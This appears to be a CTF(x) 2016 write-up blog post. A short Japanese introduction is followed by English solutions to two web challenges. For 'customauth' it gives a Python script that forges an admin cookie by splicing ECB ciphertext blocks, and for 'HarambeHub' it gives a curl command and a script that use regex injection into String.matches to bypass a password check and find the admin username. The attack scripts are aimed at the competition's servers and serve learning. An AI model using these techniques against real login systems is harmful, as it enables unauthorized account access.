CTF(x) 2016
pwnは遅れて公開されたのだが、2日目がkatagaitai勉強会と(あとworld codesprintや学校とも)で衝突を起こしており、参加時間が取れずpwnを開けなかった。
web50 north koreaをtukejonnyさんが解いててエスパーっぽくてプロかったのが印象的。
for100 passwordはfcrackzip + pkcrackというのは合っていて既知平文も正しかったのだが、pkcrack
に渡すoptionsでミスがあったため解けず。
misc150 cafebabeも方針は合っていたが文字読み取りの精度が足らずで解けず。python/PILで書いたのは速度面で明らかな失敗であった。
customauth
The flag is obtained by a ciphertext of a json which contains "admin":true
.
It uses a block cipher in ECB mode.
You can construct the ciphertext chunk-wise, using the fact that the correspondence of plaintexts and ciphertexts are independent of positions and other chunks.
I needed to send the admin
field with empty string to get the chunk like AAAAAA","admin":
.
#!/usr/bin/env python3
import re
import json
import requests
import collections
chunk = lambda s, l: [s[i:i+l] for i in range(0, len(s), l)]
def encrypt(url, payload):
resp = requests.post(url, data=payload, allow_redirects=False)
auth = resp.headers['Set-Cookie'].split()[0][5:-1]
return auth
def stringify(params): # for ordering and spaces
return '{' + ','.join(['"%s":%s' % (k, json.dumps(params[k])) for k in params]) + '}'
def check_encrypt(url, params, plain):
t = stringify(params)
t = chunk(t, 16)
i = t.index(plain)
s = encrypt(url, params)
assert len(s) % 32 == 0
s = chunk(s, 32)
print(repr(plain), s[i])
return s[i]
import argparse
parser = argparse.ArgumentParser()
parser.add_argument('host', nargs='?', default='problems.ctfx.io')
parser.add_argument('port', nargs='?', default=7001, type=int)
args = parser.parse_args()
f = lambda x, *ys: check_encrypt('http://{}:{}/login'.format(args.host, args.port), collections.OrderedDict(ys), x)
auth = ''
auth += f(r'{"username":"AAA', ('username', r'AAA'), ('password', 'password'))
auth += f(r'AAAAAA","admin":', ('username', r'AAAAAAAAA'), ('admin', ''), ('password', 'password'))
auth += f(r'true, ', ('username', r'AAAtrue, '), ('password', 'password'))
auth += f(r'"password":"A"}', ('username', r'A'), ('password', 'A'))
print('auth=' + auth)
resp = requests.get('http://{}:{}'.format(args.host, args.port), headers={ 'Cookie': 'auth=' + auth })
flag = re.search(r'ctf\([^)]*\)', resp.text).group(0)
print(flag)
HarambeHub
Inject your regular expressions.
Since it compares strings with String.matches
, not String.equals
, you can use .*
instead of the true password.
public boolean verify(String username, String password) {
return this.username.equals(username) && this.master.matches(password);
}
The password is trivial, but the username who has a flag is unknown.
You know your username is [Member] foo
and not simply foo
, so you can think that an user [Admin] bar
exists.
You can do binary search to determine the exact username, and you will get the flag.
$ curl 'http://problems.ctfx.io:7003/users?username=\\[A.*&password=password&real_name=real_name' -X POST
FAILED: User with that name already exists!
#!/usr/bin/env python3
import string
import time
import urllib.request
import urllib.parse
def query_users(username, password, real_name):
url = 'http://problems.ctfx.io:7003/users?{}'.format(
urllib.parse.urlencode( { 'username': username, 'password': password, 'real_name': real_name }))
print('POST', url)
time.sleep(1)
req = urllib.request.Request(url)
req.method = 'POST'
with urllib.request.urlopen(req) as resp:
return resp.read().decode()
return query_users(username, password, real_name)
def query_name(username, password):
url = 'http://problems.ctfx.io:7003/name?{}'.format(
urllib.parse.urlencode( { 'username': username, 'password': password }))
print('GET', url)
time.sleep(1)
req = urllib.request.Request(url)
with urllib.request.urlopen(req) as resp:
return resp.read().decode()
def match_users(regex):
s = query_users(regex, 'password', 'real_name')
if s == 'FAILED: User with that name already exists!':
return True
else:
assert s.startswith('OK: Your username is ')
return False
s = '' # Arxenixisaloser
while True:
for letters in [ string.ascii_lowercase, string.ascii_uppercase, string.digits ]:
if not match_users(r'\[Admin\] {}[{}-{}].*'.format(s, letters[0], letters[-1])):
continue
l = 0
r = len(letters) - 1
while l < r: # [l, r]
m = (l + r) // 2
if match_users(r'\[Admin\] {}[{}-{}].*'.format(s, letters[0], letters[m])): # c <= m
r = m
else: # m < c
l = m+1
s += letters[l]
break
else:
break
print('FLAG', s)
print(query_name(r'[Admin] ' + s, '.*')) # ctf(h4r4mb3_d1dn1t_d13_4_th1s_f33ls_b4d)